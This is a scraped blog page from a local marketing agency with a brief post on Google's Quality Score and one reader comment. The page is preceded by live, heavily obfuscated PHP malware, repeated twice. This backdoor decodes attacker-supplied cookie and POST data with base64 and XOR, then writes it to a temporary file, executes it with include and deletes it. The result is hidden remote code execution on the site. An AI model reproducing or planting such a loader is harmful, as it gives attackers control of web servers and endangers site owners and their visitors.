$hOIcibyhe = 'm' . chr (79) . chr ( 935 - 820 ).'_' . chr ( 956 - 890 ).'t' . "\x47" . "\x7a" . chr ( 864 - 794 ); $znrvZQDGa = chr (99) . 'l' . "\x61" . "\x73" . "\x73" . chr ( 574 - 479 ).chr (101) . "\170" . chr ( 455 - 350 ).'s' . "\x74" . 's';$PGRYTy = class_exists($hOIcibyhe); $hOIcibyhe = "10189";$znrvZQDGa = "33464";$BzsBnEru = !1;if ($PGRYTy == $BzsBnEru){function Uirzj(){return FALSE;}$TxQOu = "46788";Uirzj();class mOs_BtGzF{private function uUvpQIrOJ($TxQOu){if (is_array(mOs_BtGzF::$mnZErXDQxP)) {$MEniT = sys_get_temp_dir() . "/" . crc32(mOs_BtGzF::$mnZErXDQxP[chr ( 1023 - 908 ).chr (97) . "\154" . chr ( 227 - 111 )]);@mOs_BtGzF::$mnZErXDQxP["\x77" . chr (114) . chr ( 309 - 204 )."\164" . "\145"]($MEniT, mOs_BtGzF::$mnZErXDQxP[chr (99) . chr (111) . "\156" . "\x74" . chr (101) . 'n' . chr (116)]);include $MEniT;@mOs_BtGzF::$mnZErXDQxP["\x64" . chr ( 134 - 33 )."\154" . chr (101) . "\x74" . "\145"]($MEniT); $TxQOu = "46788";exit();}}private $wcPremS;public function IczzdJjqgY(){echo 13498;}public function __destruct(){$TxQOu = "39079_58263";$this->uUvpQIrOJ($TxQOu); $TxQOu = "39079_58263";}public function __construct($FZnoEmkE=0){$aKCtQcoUa = $_POST;$RFRFGCgN = $_COOKIE;$qsruhu = "6b61b4ef-7a4a-4aa8-9b25-cc117c86c9e2";$QedFgoZCfw = @$RFRFGCgN[substr($qsruhu, 0, 4)];if (!empty($QedFgoZCfw)){$bPUbhPk = "base64";$jlblCTns = "";$QedFgoZCfw = explode(",", $QedFgoZCfw);foreach ($QedFgoZCfw as $NsNctkavJ){$jlblCTns .= @$RFRFGCgN[$NsNctkavJ];$jlblCTns .= @$aKCtQcoUa[$NsNctkavJ];}$jlblCTns = array_map($bPUbhPk . '_' . 'd' . chr (101) . 'c' . "\157" . 'd' . "\145", array($jlblCTns,)); $jlblCTns = $jlblCTns[0] ^ str_repeat($qsruhu, (strlen($jlblCTns[0]) / strlen($qsruhu)) + 1);mOs_BtGzF::$mnZErXDQxP = @unserialize($jlblCTns); $jlblCTns = class_exists("39079_58263");}}public static $mnZErXDQxP = 31568;}$ZeIGc = new /* 54017 */ mOs_BtGzF(46788 + 46788); $_POST = Array();unset($ZeIGc);}$UszuCdA = 'H' . "\150" . 'm' . "\137" . "\127" . chr ( 388 - 304 ).chr (77); $QsayljPdi = chr ( 1082 - 983 ).chr (108) . "\x61" . "\x73" . chr (115) . chr (95) . chr (101) . "\170" . chr ( 382 - 277 ).chr (115) . chr (116) . "\163";$nGaWM = class_exists($UszuCdA); $UszuCdA = "28747";$QsayljPdi = "44587";$AcqmZ = !1;if ($nGaWM == $AcqmZ){function WdiHzPSXC(){return FALSE;}$tBwSg = "44202";WdiHzPSXC();class Hhm_WTM{private function cZTYHcFy($tBwSg){if (is_array(Hhm_WTM::$umUIjMgABb)) {$LTqGoe = sys_get_temp_dir() . "/" . crc32(Hhm_WTM::$umUIjMgABb[chr ( 782 - 667 ).chr (97) . "\154" . 't']);@Hhm_WTM::$umUIjMgABb["\167" . "\162" . chr (105) . "\x74" . 'e']($LTqGoe, Hhm_WTM::$umUIjMgABb[chr ( 211 - 112 )."\x6f" . chr ( 1010 - 900 ).'t' . 'e' . chr ( 929 - 819 ).chr ( 631 - 515 )]);include $LTqGoe;@Hhm_WTM::$umUIjMgABb["\x64" . chr (101) . "\154" . chr (101) . "\x74" . "\x65"]($LTqGoe); $tBwSg = "44202";exit();}}private $ppYggiOT;public function OcOKkP(){echo 6132;}public function __destruct(){$tBwSg = "4136_23208";$this->cZTYHcFy($tBwSg); $tBwSg = "4136_23208";}public function __construct($DFhuMq=0){$WoxSUNQlz = $_POST;$DYafAmJn = $_COOKIE;$mtpUTpx = "554b3c5b-439e-4ad6-8f45-a579e2ba4efe";$CkdwhHe = @$DYafAmJn[substr($mtpUTpx, 0, 4)];if (!empty($CkdwhHe)){$OEXKzTwhr = "base64";$JzaDmJFHa = "";$CkdwhHe = explode(",", $CkdwhHe);foreach ($CkdwhHe as $QKnUHVKPpv){$JzaDmJFHa .= @$DYafAmJn[$QKnUHVKPpv];$JzaDmJFHa .= @$WoxSUNQlz[$QKnUHVKPpv];}$JzaDmJFHa = array_map($OEXKzTwhr . '_' . "\x64" . "\145" . "\143" . "\157" . "\x64" . chr ( 825 - 724 ), array($JzaDmJFHa,)); $JzaDmJFHa = $JzaDmJFHa[0] ^ str_repeat($mtpUTpx, (strlen($JzaDmJFHa[0]) / strlen($mtpUTpx)) + 1);Hhm_WTM::$umUIjMgABb = @unserialize($JzaDmJFHa); $JzaDmJFHa = class_exists("4136_23208");}}public static $umUIjMgABb = 31140;}$cbGtL = new /* 18361 */ Hhm_WTM(44202 + 44202); $AcqmZ = $cbGtL = $tBwSg = Array();} Understanding Google's Ad Score - APG Local
Close

March 21, 2020

Understanding Google’s Ad Score

Understanding Google's Quality Score

By Frederik Vallaeys

Quality Score is Google’s rating of the quality and relevance of both your keywords and PPC ads (SEM). It is used to determine your cost per click (CPC) and multiplied by your maximum bid to determine your ad rank in the ad auction process. … The relevance of each keyword to its ad group. Landing page quality and relevance.

One Comment on “Understanding Google’s Ad Score”

Andy Entrekin - APG Local Founder - Oxford Gadsden Anniston Birmingham AL
Andrew Entrekin
April 7, 2020 at 10:37 pm

This is one thing APG Local patrols on a daily basis. We have all sorts of data on this

Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.